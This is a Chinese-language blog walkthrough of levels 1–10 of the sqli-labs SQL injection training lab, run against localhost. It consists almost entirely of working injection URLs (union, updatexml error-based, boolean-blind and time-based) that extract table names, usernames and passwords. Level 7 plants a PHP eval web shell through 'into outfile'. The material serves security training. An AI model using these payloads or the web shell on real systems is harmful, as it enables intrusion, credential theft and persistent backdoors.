sqli-labs 1-10(GET型注入)新手通关详解(高手误入)
目录
1.sqli-labs第一关
第一步:判断是否存在注入点
1.第一关是单引号字符型注入
http://127.0.0.1/sqli-labs/Less-1/?id=1'
2.用--+进行注释,页面正常显示
http://127.0.0.1/sqli-labs/Less-1/?id=1'--+
第二步:判断列数(order by)
http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 3--+ #正常
http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 4--+ #页面显示错误
#说明是3列
第三步:查看显示位
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,3--+
#这里使用联合查询id参数要为假
#显示位位2和3
第四步:使用联合查询进行SQL注入
1.爆出数据库名和数据库版本号
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,database(),version()--+
2.爆出数据库下的所有表名
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
3.爆出表名下的所有字段名
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
4.爆出字段下的内容
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat( username,id,password) from users--+
2.sqli-labs第二关
第一步:判断是否存在注入点
1.第二关是数字型注入利用and 1=1 和 and 1=2来进行判断
http://127.0.0.1/sqli-labs/Less-2/?id=1 and 1=1
#页面显示正常
http://127.0.0.1/sqli-labs/Less-2/?id=1 and 1=2
#页面报错
2.用--+进行注释
http://127.0.0.1/sqli-labs/Less-2/?id=1--+
第二步:判断列数(order by)
http://127.0.0.1/sqli-labs/Less-2/?id=1 order by 3--+ #正常
http://127.0.0.1/sqli-labs/Less-2/?id=1 order by 4--+ #报错
#说明是三列
第三步:查看显示位
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,2,3--+
第四步:使用联合查询进行SQL注入
1.爆出数据库名和数据库版本号
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,database(),version()--+
2.爆出数据库下的所有表名
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
3.爆出表下的所有字段
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
4.爆出字段下的内容
http://127.0.0.1/sqli-labs/Less-2/?id=-1' union select 1,2,group_concat( username,id,password) from users--+
3.sqli-labs第三关
第一步:判断是否存在注入点
1.第三关是单引号加)注入
http://127.0.0.1/sqli-labs/Less-3/?id=1')
2.用--+进行注释,页面正常显示
http://127.0.0.1/sqli-labs/Less-3/?id=1')--+
第二步:判断列数(order by)
http://127.0.0.1/sqli-labs/Less-3/?id=1') order by 3--+ #正常
http://127.0.0.1/sqli-labs/Less-3/?id=1') order by 4--+ #页面报错
#说明是3列
第三步:查看显示位
http://127.0.0.1/sqli-labs/Less-3/?id=-1') union select 1,2,3--+
第四步:使用联合查询进行SQL注入
1.爆出数据库名和数据库版本号
http://127.0.0.1/sqli-labs/Less-3/?id=-1') union select 1,database(),version()--+
2.爆出数据库下的所有表名
http://127.0.0.1/sqli-labs/Less-3/?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
3.爆出表下的所有字段
http://127.0.0.1/sqli-labs/Less-3/?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
4.爆出字段下的内容
http://127.0.0.1/sqli-labs/Less-3/?id=-1') union select 1,2,group_concat(username,id,password) from users--+
4.sqli-labs第四关
第一步:判断是否存在注入点
1.第四关是双引号加)注入
http://127.0.0.1/sqli-labs/Less-4/?id=1")
2.用--+进行注释,页面正常显示
http://127.0.0.1/sqli-labs/Less-4/?id=1")--+
第二步:判断列数(order by)
http://127.0.0.1/sqli-labs/Less-4/?id=1") order by 3--+ #正确
http://127.0.0.1/sqli-labs/Less-4/?id=1") order by 4--+ #页面报错
#说明是3列
第三步:查看显示位
http://127.0.0.1/sqli-labs/Less-4/?id=-1") union select 1,2,3--+
第四步:使用联合查询进行SQL注入
1.爆出数据库名和数据库版本号
http://127.0.0.1/sqli-labs/Less-4/?id=-1") union select 1,database(),version()--+
2.爆出数据库下的所有表名
http://127.0.0.1/sqli-labs/Less-4/?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
3.爆出表下的所有字段
http://127.0.0.1/sqli-labs/Less-4/?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
4.爆出字段下的内容
http://127.0.0.1/sqli-labs/Less-4/?id=-1") union select 1,2,group_concat(username,id,password) from users--+
总结:前四关都是有显示位所以采用的都是联合查询,后边的关就不一样了,前四关基本属于同一类型
5.sqli-labs第五关
第一步:判断是否存在注入点
1.第五关是单引号注入,没有显示位,只有正确页面和错误页面对比
http://127.0.0.1/sqli-labs/Less-5/?id=1'
2.用--+进行注释,页面正常显示
http://127.0.0.1/sqli-labs/Less-5/?id=1'--+
第二步:采用报错注入(updatexml函数)
1.爆出数据库名和数据库版本号(0x7e是~的转移,用来更好的分清内容)
http://127.0.0.1/sqli-labs/Less-5/?id=1' and updatexml(1,concat(0x7e,database(),0x7e,version()),1) --+
2.爆出数据库下的所有表名
http://127.0.0.1/sqli-labs/Less-5/?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,32)),1)--+
3.爆出表下的所有字段
http://127.0.0.1/sqli-labs/Less-5/?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,32)),1) --+
4.爆出字段下的内容(updatexml函数报错内容长度不能超过32个字符,所以不能查看全部的内容,这里也可以用limit一个一个的来进行查看)
http://127.0.0.1/sqli-labs/Less-5/?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(username,id,password) from users),1,30)),1) --+
http://127.0.0.1/sqli-labs/Less-5/?id=1' and updatexml(1,concat(0x7e,(select username from users limit 0,1)),1) --+
#其他字段内容也可用这个方法一个一个查看
6.sqli-labs第六关
第一步:判断是否存在注入点
1.第六关和第五关差不多只是第六关是双引号注入(所以我就不截图了)
http://127.0.0.1/sqli-labs/Less-6/?id=1"
2.用--+进行注释,页面正常显示
http://127.0.0.1/sqli-labs/Less-6/?id=1"--+
第二步:采用报错注入(updatexml函数)
1.爆出数据库名和数据库版本号
http://127.0.0.1/sqli-labs/Less-6/?id=1" and updatexml(1,concat(0x7e,database(),0x7e,version()),1) --+--+
2.爆出数据库下的所有表名
http://127.0.0.1/sqli-labs/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,32)),1)--+
3.爆出表下的所有字段
http://127.0.0.1/sqli-labs/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,32)),1) --+
4.爆出字段下的内容
http://127.0.0.1/sqli-labs/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(username,id,password) from users),1,30)),1) --+
7.sqli-labs第七关
第一步:判断是否存在注入点
1.第七关是单引号加))注入(页面显示use outfile意思是利用文件上传来做)
http://127.0.0.1/sqli-labs/Less-7/?id=1'))
2.用--+进行注释,页面正常显示
http://127.0.0.1/sqli-labs/Less-7/?id=1'))--+
第二步:通过url上传一句话木马,用webshell连接工具连接(这里我用的是中国菜刀)
1.123就是连接密码
<?php @eval($_POST['123']);?>
2.3c3f70687020406576616c28245f504f53545b27313233275d293b3f3e是上边一句话木马的hex编码,into outfile指定在七关目录(目录写自己的)下创建2.php文件,文件内容就是刚上传的一句话木马
登录mysql查询secure_file_priv是否为空
show global variables like 'secure%'; #查询secure_file_priv
当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出
当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下
当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制
http://127.0.0.1/sqli-labs/Less-7/index.php?id=-1')) union select 1,0x3c3f70687020406576616c28245f504f53545b27313233275d293b3f3e,3 into outfile 'D:/phpStudy/PHPTutorial/WWW/sqli-labs/Less-7/2.php'--+
3.用中国菜刀进行连接,测试连接成功
4.然后就可以访问数据库,从而获得信息
工具下载安装和使用可以去丶没胡子的猫博主的csdn上去看,很不错
8.sqli-labs第八关
第一步:判断是否存在注入点
1.第八关是单引号盲注
http://127.0.0.1/sqli-labs/Less-8/?id=1'
2.用--+进行注释,页面正常显示
http://127.0.0.1/sqli-labs/Less-8/?id=1'--+
第二步:使用left函数进行盲注(页面显示you are in则是猜对,反之猜错)
1.猜数据库名
#length就是判断字符串的长度
http://127.0.0.1/sqli-labs/Less-8/?id=1' and length(database())=8--+
#left() 函数,返回从左至右截取固定长度的字符串
http://127.0.0.1/sqli-labs/Less-8/?id=1' and left(database(),1)>'r'--+
#left(database(),1)>'r'就是判断数据库名第一位是否大于'r',一直比下去,在's'时就会报错,就说明数据库第一位为's'
http://127.0.0.1/sqli-labs/Less-8/?id=1' and left(database(),2)>'se'--+
#然后判断前两位是否大于'se',以此类推猜出数据库名
2.猜表名
#ascii() 函数,返回字符ascii码值
#substr()和substring()函数,返回从开始位置开始到截取长度的子字符串
http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101--+
#等于101页面显示正常,说明就是它,101对应的字母是'e',所以第一张表的第一个字母为'e'
#后边的字母也这样依次去猜,后边的表都是这样去猜,我就不一一写了
3.猜字段
#猜出表名后就可以猜字段了,以users为例
http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105--+
#等于105页面显示正常,所以users表下的第一个字段的第一个字母为'i',还是一样依次类推下去可以猜出字段名,其他字段同上
4.爆出字段下的内容
#猜出字段就可以猜字段下的内容了,以password下的内容为例
http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select password from users limit 0,1),1,1))=68--+
#等于68页面显示正常,说明password下的第一个字母为D,还是一样依次类推下去可以猜出字段下内容,其他字段下内容同上
盲注就是很费时间,不过也不要心急,慢慢来,总是会出来的.
9.sqli-labs第九关
第一步:判断是否存在注入点
第九关是单引号注入,但是我们输入任何东西页面没有任何变化,所以这关采用时间注入
#if(a,sleep(5),1)如果a结果是真的,那么执行sleep(5)页面延迟5秒,如果a的结果是假,执行1,页面不延迟。通过页面时间来判断出.
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(1=1,sleep(5),1)--+
第二步:使用sleep()函数进行注入
1.判断数据库长度
#页面延迟五秒刷新,说明数据库长度是大于6的,以此类推可以猜出数据库名长度
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(length((select database()))>6,sleep(5),1)--+
逐一判断数据库名的字符
#页面延迟五秒刷新,说明数据库名第一个字母为's',以此类推可以猜出数据库名
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
2.判断表名长度
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
逐一判断表名的字符
#页面延迟五秒刷新,说明表名第一个字母为'e',以此类推可以猜出表名
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=101,sleep(5),1)--+
3.判断所有字段名长度
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>10,sleep(5),1)--+
逐一判断字段名的字符
#页面延迟五秒刷新,说明users表下第一个字段名的字母为'i',以此类推可以猜出字段名
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))=105,sleep(5),1)--+
4.判断字段内容长度
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
逐一判断字段内容的字符
#页面延迟五秒刷新,说明users表下第一个字段内容的字母为'D',以此类推可以猜出字段内容
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))=68,sleep(5),1)--+
10.sqli-labs第十关
第一步:判断是否存在注入点
第十关是双引号注入,除了是双引号注入注入方式和第九关一模一样
http://127.0.0.1/sqli-labs/Less-10/?id=1" and if(1=1,sleep(5),1)--+
第二步:使用sleep()函数进行注入
1.判断数据库长度
http://127.0.0.1/sqli-labs/Less-10/?id=1" and if(length((select database()))>6,sleep(5),1)--+
逐一判断数据库名的字符
http://127.0.0.1/sqli-labs/Less-10/?id=1" and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
2.判断表名长度
http://127.0.0.1/sqli-labs/Less-10/?id=1" and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
逐一判断表名的字符
http://127.0.0.1/sqli-labs/Less-10/?id=1" and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=101,sleep(5),1)--+
3.判断所有字段名长度
http://127.0.0.1/sqli-labs/Less-10/?id=1" and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>10,sleep(5),1)--+
逐一判断字段名的字符
http://127.0.0.1/sqli-labs/Less-10/?id=1" and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))=105,sleep(5),1)--+
4.判断字段内容长度
http://127.0.0.1/sqli-labs/Less-10/?id=1" and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
逐一判断字段内容的字符
http://127.0.0.1/sqli-labs/Less-10/?id=1" and if(ascii(substr((select group_concat(username,password) from users),1,1))=68,sleep(5),1)--+
至此十关详解全部完成,第一次制作还望大佬们多多指教,希望可以帮到遇到问题的朋友,感谢!!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通